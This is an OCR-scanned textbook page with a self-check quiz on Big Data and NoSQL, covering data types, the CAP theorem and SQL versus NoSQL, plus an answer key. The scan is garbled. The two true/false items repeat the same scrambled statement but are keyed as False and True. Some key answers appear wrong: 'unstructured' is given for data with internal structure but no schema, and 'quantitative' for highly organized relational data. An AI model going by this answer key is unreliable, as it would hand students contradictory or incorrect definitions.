-Guy Harrison,Apress
NoSQL for Dummies
2
- Adam Fowler

Check your progress.


A) Fill in the blanks
-data-is the type of data that fits nicely into a
1)
relational database. It's highly organized and easily
analyzed.
2) --data has internal structure but is not structured
via pre-defined data models or schema.
3) CAP theorem is also called -theorem
4) -means that the system should continue to
function even if the communication among the servers Is
not stable.

B) State True or False


1) The term Big Data refers to all
the data that is being
generated across the globe at an
2) The term Big Data precedented rate.
refers to all the data that is ng
generated across the DE
globe at an
unprecedentea rate

NOSQLI 206
C) Explain in
detail
1. What is Big Data ?
2 What are the features of NosQL?
3. Explain CAP theorem in detail.
4. Compare SQL and NosQL

Check Your Progress Answers


A)
1. Quantitative
2. Unstructured
3. Brewer's
4. Partition Tolerance

B)
1. False
2. True

NOSQLI 207

You might also like